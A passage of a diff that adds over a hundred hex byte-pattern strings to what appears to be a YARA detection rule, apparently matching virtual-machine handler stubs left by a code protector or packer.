+		$63 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$64 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$65 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$66 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$67 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$68 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$69 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$70 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$71 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$72 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+		$73 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$74 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$75 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$76 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$77 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$78 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$79 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$80 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$81 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$82 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$83 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$84 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$85 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$86 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$87 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$88 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$89 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$90 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$91 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$92 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$93 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$94 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$95 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$96 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$97 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$98 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$99 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$100 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$101 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$102 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$103 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$104 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$105 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$106 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$107 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$108 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$109 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$110 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$111 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$112 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$113 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$114 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$115 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+		$116 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$117 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$118 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$119 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$120 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$121 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$122 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$123 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$124 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$125 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$126 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$127 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$128 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$129 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$130 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$131 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$132 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$133 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+		$134 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$135 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$136 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$137 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$138 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$139 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$140 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$141 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$142 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$143 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$144 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$145 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$146 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$147 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$148 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$149 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$150 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$151 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$152 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$153 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$154 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$155 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$156 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$157 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$158 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$159 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$160 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$161 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$162 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$163 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$164 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$165 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$166 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$167 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$168 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$169 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+		$170 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$171 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$172 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$173 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$174 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$175 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+		$176 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
